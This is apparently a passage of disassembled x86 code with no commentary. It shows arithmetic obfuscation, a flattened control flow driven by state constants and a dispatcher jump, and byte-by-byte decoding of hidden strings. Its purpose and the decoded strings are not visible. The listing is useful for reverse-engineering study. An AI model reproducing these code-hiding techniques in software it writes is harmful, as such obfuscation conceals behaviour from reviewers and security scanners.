or eax, ecx
add eax, 0xbc0ef67d
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0xaa40b585
or eax, 0xaa40b585
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0x2bbe9d87
add ecx, 0xf50d3f29
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x44], eax
mov esi, 0xffffffff
xor esi, 0x9c2ff7a6
mov edx, 0xffffffff
xor edx, 0x3a9759a4
and eax, 0x3a9759a4
and ecx, edx
mov edi, esi
and edi, 0x3a9759a4
mov ebx, edx
and ebx, 0x9c2ff7a6
or eax, ecx
mov ecx, dword [ebp - 0x44]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x3a9759a4
and ecx, edx
or eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x17ba6db9
mov edx, 0xffffffff
xor edx, 0x17ba6db9
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0x30fb702b
imul eax, eax, 0x2e3bd027
mov ecx, 0xc9f78aa4
xor edx, edx
div ecx
xor eax, 0xd5f2f39b
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe0505d6d
mov esi, 0xffffffff
xor esi, 0xe0505d6d
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xe0505d6d
or eax, 0xe0505d6d
imul eax, edx
add eax, ecx
sub eax, 0xb7779bc7
add eax, 0x1f222d08
mov ecx, 0xffffffff
xor ecx, 0x3bf99f31
add eax, ecx
add eax, 1
mov ecx, 0x39d32880
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x20203cf5
sub ecx, 0x966e64f9
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6f5154b3
mov esi, 0xffffffff
xor esi, 0x6f5154b3
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0x6f5154b3
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0x7f7f3ee5
imul eax, eax, 0x4aff3a97
xor eax, 0x79284f33
xor eax, 0xecc62fe
mov ecx, 0x404a4b74
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov esi, 0xffffffff
xor esi, 0x152914b6
mov edx, 0xffffffff
xor edx, 0xc8b51842
and ecx, 0xc8b51842
and eax, edx
mov edi, esi
and edi, 0xc8b51842
mov ebx, edx
and ebx, 0x152914b6
or ecx, eax
mov eax, dword [ebp - 0x40]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0xc8b51842
and eax, edx
or ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xe5f00250
or edx, 0xe5f00250
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0xe5f00250
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xdb13e4a4
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xdb13e4a4
or eax, 0xdb13e4a4
imul eax, edx
add eax, ecx
imul eax, eax, 0x1f010739
mov esi, 0xffffffff
xor esi, 0xc6dcc4ef
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc6dcc4ef
or eax, 0xc6dcc4ef
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xea8c0400
xor ecx, 0xffffffff
or eax, 0xea8c0400
and eax, ecx
mov esi, 0xffffffff
xor esi, 0x2d844e78
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x2d844e78
or eax, 0x2d844e78
imul eax, edx
add eax, ecx
xor eax, 0x2f80df6f
and eax, 0x3d7a475b
xor eax, 0x59505d09
mov ecx, eax
xor ecx, 0x45d30e5
xor ecx, 0xffffffff
and ecx, 0x45d30e5
shl ecx, 1
sub ecx, 0x45d30e5
sub eax, ecx
xor eax, 0x6085fe2b
xor eax, 0xc339cfca
mov ecx, 0xd658616f
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul edx, ecx, 0x7c21cd29
mov ecx, edx
xor ecx, 0xb4f7613b
mov esi, 0xffffffff
xor esi, 0xb4f7613b
and edx, esi
shl edx, 1
sub edx, ecx
add edx, 0x76548b7b
xor edx, 0x5b895350
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xa187a218
mov esi, 0xffffffff
xor esi, 0xa187a218
and edx, esi
or ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xb4717c63
mov edi, 0xffffffff
xor edi, 0xb4717c63
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0xb4717c63
or ecx, 0xb4717c63
imul ecx, esi
add ecx, edx
and ecx, 0x791a15d2
xor ecx, 0xba96cc50
xor ecx, 0x77a46066
mov esi, 0xffffffff
xor esi, 0xcde26a6a
mov edx, ecx
and edx, esi
mov esi, ecx
xor esi, 0xcde26a6a
add ecx, esi
sub ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xf316146b
mov edi, 0xffffffff
xor edi, 0xf316146b
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0xf316146b
or ecx, 0xf316146b
imul ecx, esi
add ecx, edx
and ecx, 0x23d1656b
imul ecx, ecx, 0xa25053ff
imul esi, ecx, 0x40fc9c75
mov ecx, 0x14a0b4c6
mov edx, 0xc8f57875
cmp esi, 0x53bcdbcb
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [0x101d29f4]
mov edx, dword [0x101d29f8]
mov esi, eax
xor esi, edx
xor esi, 0xffffffff
mov ecx, edx
and ecx, esi
shl ecx, 1
sub ecx, edx
sub eax, ecx
add eax, 0xacc857ba
sub eax, 0xf44a0e2e
sub eax, 0xacc857ba
mov ecx, 0xeae3923f
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xaa27c956
mov esi, 0xffffffff
xor esi, 0xaa27c956
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xaa27c956
or eax, 0xaa27c956
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x35c9a53b
sub eax, ecx
add eax, 0x6a604910
add eax, 0x886cca94
sub eax, 0x6a604910
mov ecx, eax
and ecx, 0xe5ba2815
xor ecx, 0xffffffff
add eax, 0xe5ba2815
add eax, 1
add eax, ecx
sub eax, 0xb29252d
add eax, 0x9c9aef1b
add eax, 0xb29252d
imul eax, eax, 0x20d88707
add eax, 0xc646793b
mov esi, 0xffffffff
xor esi, 0xad191a71
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xad191a71
or eax, 0xad191a71
imul eax, edx
add eax, ecx
sub eax, 0x6c3d127d
mov edx, eax
xor edx, 0xffffffff
and edx, 0x10a0c6a5
mov esi, 0xffffffff
xor esi, 0x10a0c6a5
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x10a0c6a5
or eax, 0x10a0c6a5
imul eax, edx
add eax, ecx
imul eax, eax, 0xca05b9c6
xor eax, 0x4edaaf8
add eax, 0xa1eb9ba9
mov ecx, 0xabbbe5e7
xor edx, edx
div ecx
mov ecx, 0xaaafc2ae
xor edx, edx
div ecx
and eax, 0xd8236346
and eax, 0x849b9d11
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x38cf10cb
add eax, ecx
mov ecx, 0x1b238d61
xor edx, edx
div ecx
sub eax, 0xee62b83c
mov ecx, 0x44f03685
xor edx, edx
div ecx
mov ecx, eax
mov esi, 0xffffffff
xor esi, 0xdfa44529
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xdfa44529
or ecx, 0xdfa44529
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x39c7794e
xor ecx, 0x39c7794e
or eax, ecx
sub eax, 0x62f742e4
and eax, 0xe040ff2f
add eax, 0xcf4d49e7
mov ecx, 0x9055d965
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xd8cbc571
mov eax, ecx
and eax, 0x859c8e6f
xor ecx, 0x859c8e6f
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x538a9495
mov edx, 0xffffffff
xor edx, 0x538a9495
and eax, edx
sub eax, ecx
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
and ecx, 0xd535b5d6
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd535b5d6
mov esi, 0xffffffff
xor esi, 0xd535b5d6
or edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
sub ecx, 0x206a921b
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x50], eax
mov esi, 0xffffffff
xor esi, 0xb5b8223f
mov edx, 0xffffffff
xor edx, 0x742b411
and eax, 0x742b411
and ecx, edx
mov edi, esi
and edi, 0x742b411
mov ebx, edx
and ebx, 0xb5b8223f
or eax, ecx
mov ecx, dword [ebp - 0x50]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x742b411
and ecx, edx
or eax, ecx
and eax, 0x8e9ffdd
and eax, 0x4c72e5a9
sub eax, 0x9c8a35d9
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc008b0d
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0x646f8455
sub eax, 0xa652af19
and eax, 0xea84a9a0
mov ecx, 0x5f40fa2e
xor edx, edx
div ecx
xor eax, 0x15e2bb75
imul esi, eax, 0x1a9a61d5
mov eax, 0xffffffff
xor eax, 0x8c1f3fc
add esi, eax
add esi, 1
mov eax, esi
xor eax, 0xffffffff
and eax, 0x943cad0e
mov edx, 0xffffffff
xor edx, 0x943cad0e
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x7ee696c6
and ecx, 0x943cad0e
and edx, 0x7ee696c6
or eax, esi
or ecx, edx
xor eax, ecx
imul eax, eax, 0xf13ccb6b
mov esi, 0xffffffff
xor esi, 0xd7741ed9
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xd7741ed9
or eax, 0xd7741ed9
imul eax, edx
add eax, ecx
imul eax, eax, 0xe084081f
and eax, 0xb581f2cf
mov ecx, 0xcf97af49
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6eb9c488
mov esi, 0xffffffff
xor esi, 0x6eb9c488
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6eb9c488
or eax, 0x6eb9c488
imul eax, edx
add eax, ecx
mov ecx, 0xd346e074
xor edx, edx
div ecx
sub eax, 0x2aa77770
mov edx, eax
xor edx, 0xffffffff
and edx, 0x702d8dab
mov esi, 0xffffffff
xor esi, 0x702d8dab
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x702d8dab
or eax, 0x702d8dab
imul eax, edx
add eax, ecx
mov ecx, 0xfdc61cbd
xor edx, edx
div ecx
mov ecx, 0x969d8d2b
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
add esi, 0x4f500ba3
sub esi, 0x12804fff
mov dh, byte [0x101d11f5]
mov cl, dh
xor cl, 0xff
and cl, 0xba
mov ch, 0xff
xor ch, 0xba
and dh, ch
mov dl, 0xff
xor dl, 0xc9
and dl, 0xba
and ch, 0xc9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d1216], cl
mov dl, byte [0x101d11f6]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x2b
mov dh, 0xff
xor dh, 0x2b
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x2b
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101d1217], cl
mov cl, byte [0x101d11f7]
xor cl, 0x61
mov byte [0x101d1218], cl
mov dh, byte [0x101d11f8]
mov cl, dh
xor cl, 0xff
and cl, 0xd7
mov ch, 0xff
xor ch, 0xd7
and dh, ch
mov dl, 0xff
xor dl, 3
and dl, 0xd7
and ch, 3
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d1219], cl
mov dh, byte [0x101d11f9]
mov cl, dh
xor cl, 0xff
and cl, 0xcf
mov ch, 0xff
xor ch, 0xcf
and dh, ch
mov dl, 0xff
xor dl, 0xf4
and dl, 0xcf
and ch, 0xf4
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d121a], cl
mov dl, byte [0x101d11fa]
mov cl, dl
xor cl, 0xff
and cl, 0x9b
mov ch, 0xff
xor ch, 0x9b
and dl, ch
or cl, dl
mov byte [0x101d121b], cl
mov dh, byte [0x101d11fb]
mov cl, dh
xor cl, 0xff
and cl, 0x52
mov ch, 0xff
xor ch, 0x52
and dh, ch
mov dl, 0xff
xor dl, 0x5d
and dl, 0x52
and ch, 0x5d
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d121c], cl
mov cl, byte [0x101d11fc]
xor cl, 0x2c
mov byte [0x101d121d], cl
mov dh, byte [0x101d11fd]
mov cl, dh
xor cl, 0xff
and cl, 0x52
mov ch, 0xff
xor ch, 0x52
and dh, ch
mov dl, 0xff
xor dl, 0xd4
and dl, 0x52
and ch, 0xd4
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d121e], cl
mov cl, byte [0x101d11fe]
xor cl, 0xa5
mov byte [0x101d121f], cl
mov cl, byte [0x101d11ff]
mov dl, cl
and dl, 0x39
shl dl, 1
add cl, 0x39
sub cl, dl
mov byte [0x101d1220], cl
mov dl, byte [0x101d1200]
mov cl, dl
xor cl, 0xff
and cl, 0x5c
mov ch, 0xff
xor ch, 0x5c
and dl, ch
or cl, dl
mov byte [0x101d1221], cl
mov dl, byte [0x101d1201]
mov cl, dl
xor cl, 0xff
and cl, 0xb5
mov ch, 0xff
xor ch, 0xb5
and dl, ch
or cl, dl
mov byte [0x101d1222], cl
mov cl, byte [0x101d1202]
xor cl, 0x67
mov byte [0x101d1223], cl
mov cl, byte [0x101d1203]
mov dl, cl
and dl, 0x95
shl dl, 1
add cl, 0x95
sub cl, dl
mov byte [0x101d1224], cl
mov dl, byte [0x101d1204]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x5b
xor cl, 0xff
mov ch, 0xff
xor ch, 0x5b
mov dh, 0xff
xor dh, 0x5b
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101d1225], cl
mov dl, byte [0x101d1205]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xd3
mov dh, 0xff
xor dh, 0xd3
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xd3
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101d1226], cl
mov cl, byte [0x101d1206]
mov dl, cl
xor dl, 0xc0
xor dl, 0xff
and dl, 0xc0
shl dl, 1
sub dl, 0xc0
sub cl, dl
mov byte [0x101d1228], cl
mov dl, byte [0x101d1207]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xb0
mov dh, 0xff
xor dh, 0xb0
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xb0
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101d1229], cl
mov cl, byte [0x101d1208]
mov dl, cl
xor dl, 0x75
xor dl, 0xff
and dl, 0x75
shl dl, 1
sub dl, 0x75
sub cl, dl
mov byte [0x101d122b], cl
mov dl, byte [0x101d11b0]
mov cl, dl
xor cl, 0xff
and cl, 0xb2
mov ch, 0xff
xor ch, 0xb2
and dl, ch
or cl, dl
mov byte [str.qi], cl
mov dl, byte [0x101d11b1]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x8f
or ch, 0x8f
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x8f
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101d11d1], cl
mov cl, byte [0x101d11b2]
xor cl, 0x32
mov byte [0x101d11d2], cl
mov cl, byte [0x101d11b3]
mov dl, cl
and dl, 0xbb
shl dl, 1
add cl, 0xbb
sub cl, dl
mov byte [0x101d11d4], cl
mov cl, byte [str._lV_v]
xor cl, 0x4e
mov byte [0x101d11d6], cl
mov dl, byte [0x101d11b5]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x30
xor cl, 0xff
mov ch, 0x30
and ch, 0x30
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101d11d8], cl
mov dl, byte [0x101d11b6]
mov cl, dl
xor cl, 0xff
and cl, 0x50
mov ch, 0xff
xor ch, 0x50
and dl, ch
or cl, dl
mov byte [0x101d11d9], cl
lea ecx, [0x101d11b0]
add ecx, 7
mov dword [ebp - 0x4c], ecx
lea ecx, str.qi
add ecx, 0xa
mov dword [ebp - 0x48], ecx
mov ecx, 0x97028f35
mov edx, 0xc8f57875
cmp esi, 0x3d1a1bf
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xb946a532
jmp 0x100b81ba
mov eax, dword [0x101d29fc]
add eax, dword [0x101d2a00]
mov esi, 0xffffffff
xor esi, 0xbe2e8b8b
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xbe2e8b8b
or eax, 0xbe2e8b8b
imul eax, edx
add eax, ecx
imul eax, eax, 0xaadaa818
xor eax, 0x22889d99
mov ecx, 0x13e1976
xor edx, edx
div ecx
add eax, 0xb2c1e7e0
add eax, 0x3c880336
sub eax, 0xb2c1e7e0
mov ecx, 0xa060e49a
xor edx, edx
div ecx
sub eax, 0x8c5e82ae
xor ecx, ecx
sub ecx, 0xcd62c43b
add eax, ecx
xor eax, 0x41b1002a
mov esi, 0xffffffff
xor esi, 0x7f128ebb
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7f128ebb
or eax, 0x7f128ebb
imul eax, edx
add eax, ecx
or eax, 0xfc07037c
xor eax, 0x792f2d3f
sub eax, 0x543af49
mov ecx, 0x1731fcf3
xor edx, edx
div ecx
imul eax, eax, 0x2cfeec81
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xe91f1b54
or ecx, 0xe91f1b54
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xcc900d22
imul eax, eax, 0xd4b53f81
mov edx, 0xffffffff
xor edx, 0x2b0fd74
mov ecx, eax
xor ecx, edx
and ecx, eax
sub ecx, 0x4ebf61cf
and ecx, 0x107e320e
add ecx, 0xe85ba712
mov eax, ecx
and eax, 0xad31df9a
xor ecx, 0xad31df9a
or eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xaa86cacc
add eax, ecx
and eax, 0xeca76ec1
mov ecx, 0xf48d6ef3
xor edx, edx
div ecx
or eax, 0xa80a8d19
and eax, 0x21f6f00
mov ecx, 0xcc67971f
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x658ac171
mov esi, 0xffffffff
xor esi, 0x658ac171
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x658ac171
or eax, 0x658ac171
imul eax, edx
add eax, ecx
and eax, 0xef1e021a
mov ecx, 0xffffffff
xor ecx, 0xa25536b0
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
and eax, 0xdbbe3517
imul eax, eax, 0xe6e4be27
or eax, 0xb1dd3d63
mov ecx, eax
and ecx, 0xee3ec79a
xor eax, 0xee3ec79a
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x5b4d8a3d
mov edx, 0xffffffff
xor edx, 0x5b4d8a3d
and ecx, edx
or eax, ecx
sub eax, 0x617d7b45
mov ecx, eax
xor ecx, 0x7d5b4475
xor ecx, 0xffffffff
or eax, 0x7d5b4475
and eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc195a6c6
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0xd365e81a
sub eax, 0x24224dbb
and eax, 0x2b7ca1ce
mov esi, 0xffffffff
xor esi, 0x2f24984e
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x2f24984e
or eax, 0x2f24984e
imul eax, edx
add eax, ecx
imul eax, eax, 0x4445482
mov ecx, 0xcfb40d94
xor edx, edx
div ecx
mov ecx, 0x49b47aa6
xor edx, edx
div ecx
sub eax, 0xfd070f9c
mov edx, eax
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x486ab83c
mov esi, 0xffffffff
xor esi, 0x5c13a595
mov ecx, edx
and ecx, 0x5c13a595
and eax, esi
mov dword [ebp - 0x58], eax
mov ebx, edi
and ebx, 0x5c13a595
mov eax, esi
and eax, 0x486ab83c
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x58]
or ecx, eax
mov eax, dword [ebp - 0x54]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x5c13a595
and edx, esi
or ecx, edx
imul edx, ecx, 0xcda5a8f5
sub edx, 0x907035d3
add edx, 0x477437c3
add edx, 0x63bc87e5
mov ecx, edx
and ecx, 0xca53b899
xor edx, 0xca53b899
or ecx, edx
xor edx, edx
sub edx, 0x5a01ae1e
sub ecx, edx
imul esi, ecx, 0x1db40030
mov ecx, esi
xor ecx, 0x5ef272af
xor ecx, 0xffffffff
or esi, 0x5ef272af
and esi, ecx
or esi, 0x68bf4c1e
xor esi, 0x41466c47
mov ecx, esi
xor ecx, 0x558b5648
mov edx, 0xffffffff
xor edx, 0x558b5648
and esi, edx
shl esi, 1
sub esi, ecx
mov ecx, 0xa1c6b544
mov edx, 0x374c8955
cmp esi, 0x600fa312
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x101d2a04]
xor eax, dword [0x101d2a08]
xor eax, 0x2c33cda0
mov esi, 0x2f432f79
xor edx, edx
div esi
mov esi, 0x4ab90593
xor edx, edx
div esi
sub eax, 0x90eb57bc
mov edx, eax
xor edx, 0x4024dc7d
xor edx, 0xffffffff
and edx, 0x4024dc7d
shl edx, 1
sub edx, 0x4024dc7d
sub eax, edx
mov edx, eax
xor edx, 0x13fdc5c0
xor edx, 0xffffffff
and edx, 0x13fdc5c0
shl edx, 1
sub edx, 0x13fdc5c0
sub eax, edx
and eax, 0xa9520aae
imul eax, eax, 0x72775556
mov esi, 0x18d79432
xor edx, edx
div esi
mov esi, 0x27ddc1d
xor edx, edx
div esi
and eax, 0x306c3470
mov esi, 0xb17eec01
xor edx, edx
div esi
add eax, 0xfe85f167
add eax, 0x59df53f8
sub eax, 0xfe85f167
mov esi, 0xffffffff
xor esi, 0xcfd3d603
mov edx, eax
and edx, esi
mov esi, eax
xor esi, 0xcfd3d603
add eax, esi
sub eax, edx
sub eax, 0x2429b40a
add eax, 0x8eb21592
add eax, 0x2429b40a
add eax, 0x2f7a61a5
sub eax, 0x31122f9e
sub eax, 0x83e22e95
add eax, 0x31122f9e
add eax, 0x871675c4
mov esi, 0x3c1850d
xor edx, edx
div esi
mov edx, eax
mov esi, 0xffffffff
xor esi, 0xebb492e0
mov eax, edx
xor eax, esi
and eax, edx
mov edi, 0xffffffff
xor edi, 0x431abaef
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0x431abaef
or eax, 0x431abaef
imul eax, esi
add eax, edx
imul edx, eax, 0x772ab90d
mov eax, edx
and eax, 0xeff930a0
or edx, 0xeff930a0
add eax, edx
xor eax, 0xec6ed38c
imul eax, eax, 0xb157749f
sub eax, 0x88f18f4c
mov esi, 0x186ada51
xor edx, edx
div esi
or eax, 0xf31338d7
xor eax, 0x9667f752
mov edx, eax
or edx, edx
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xb71729b1
mov edi, 0xffffffff
xor edi, 0xb71729b1
and esi, edi
or edx, esi
xor edx, 0xffffffff
or eax, 0xb71729b1
xor eax, 0xffffffff
xor edx, 0xffffffff
xor eax, 0xffffffff
and edx, eax
mov edi, 0xffffffff
xor edi, 0x2bc50a6e
mov esi, edx
and esi, edi
mov eax, edx
or eax, edi
xor eax, 0xffffffff
imul eax, esi
mov esi, edx
and esi, 0x2bc50a6e
or edx, 0x2bc50a6e
imul edx, esi
add edx, eax
add edx, 0xa75b9f51
add edx, 0xcb8177f1
sub edx, 0x74de2ad1
sub edx, 0xcb8177f1
add edx, 0xf1c1ab26
mov eax, edx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x7eabd2f3
and eax, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x7eabd2f3
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x605b8cc6
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
sub eax, 0x42c3ba11
add eax, 0x2aeb5edb
add eax, 0x42c3ba11
and eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcf43a2ec
mov esi, 0xffffffff
xor esi, 0xcf43a2ec
or edx, esi
and eax, edx
xor eax, 0xffffffff
mov esi, 0xa13910ab
xor edx, edx
div esi
imul edx, eax, 0xea4dc84a
sub edx, 0x87e71751
mov eax, edx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xf9935b51
or eax, esi
mov esi, 0xffffffff
xor esi, 0xf9935b51
mov edi, 0xffffffff
xor edi, 0xf9935b51
or esi, edi
and edx, esi
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
mov esi, 0x4b6668d9
xor edx, edx
div esi
mov esi, 0xe057955c
xor edx, edx
div esi
or eax, 0xe0c5a131
or eax, 0xc6367965
xor eax, 0x96824593
or eax, 0x244fb2ff
imul edx, eax, 0x96a77c7d
mov eax, edx
xor eax, 0xffffffff
and eax, 0xec66cda0
mov esi, 0xffffffff
xor esi, 0xec66cda0
and edx, esi
or eax, edx
and eax, 0xc6ac12cc
mov edx, eax
xor edx, 0x903aa991
xor edx, 0xffffffff
and edx, 0x903aa991
shl edx, 1
sub edx, 0x903aa991
sub eax, edx
mov esi, 0x527d6d0e
xor edx, edx
div esi
mov edx, dword [ebp - 0x4c]
mov esi, eax
mov eax, dword [ebp - 0x1c]
imul esi, esi, 0x119b5d17
imul esi, esi, 0xe18b91d7
mov edi, esi
and edi, 0xbb3bbb2c
shl edi, 1
xor esi, 0xbb3bbb2c
add esi, edi
and esi, 0xcc17517
xor esi, 0xe85b36a7
mov edi, esi
and edi, 0x21dd2cf7
shl edi, 1
add esi, 0x21dd2cf7
sub esi, edi
mov edi, esi
and edi, 0xd032c76e
shl edi, 1
add esi, 0xd032c76e
sub esi, edi
mov dl, byte [edx]
mov dh, dl
and dh, 0x30
shl dh, 1
add dl, 0x30
sub dl, dh
mov byte [ecx], dl
mov dl, byte [0x101d11b8]
mov cl, dl
xor cl, 0xff
and cl, 0x78
mov ch, 0xff
xor ch, 0x78
and dl, ch
or cl, dl
mov byte [0x101d11dc], cl
mov cl, byte [0x101d11b9]
xor cl, 0x85
mov byte [0x101d11dd], cl
mov dh, byte [0x101d11ba]
mov cl, dh
xor cl, 0xff
and cl, 0x29
mov ch, 0xff
xor ch, 0x29
and dh, ch
mov dl, 0xff
xor dl, 0x79
and dl, 0x29
and ch, 0x79
or cl, dh
or dl, ch
xor cl, dl
mov byte [str._1Jh], cl
mov cl, byte [0x101d11bb]
xor cl, 0x6e
mov byte [0x101d11df], cl
mov cl, byte [0x101d11bc]
xor cl, 0xe5
mov byte [0x101d11e1], cl
mov cl, byte [0x101d11bd]
xor cl, 0xdd
mov byte [0x101d11e2], cl
mov dh, byte [0x101d11be]
mov cl, dh
xor cl, 0xff
and cl, 0x28
mov ch, 0xff
xor ch, 0x28
and dh, ch
mov dl, 0xff
xor dl, 0x77
and dl, 0x28
and ch, 0x77
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d11e3], cl
mov dl, byte [0x101d11bf]
mov cl, dl
xor cl, 0xff
and cl, 0x4a
mov ch, 0xff
xor ch, 0x4a
and dl, ch
or cl, dl
mov byte [0x101d11e4], cl
mov cl, byte [0x101d11c0]
xor cl, 0xcf
mov byte [0x101d11e5], cl
mov cl, byte [0x101d11c1]
xor cl, 0x45
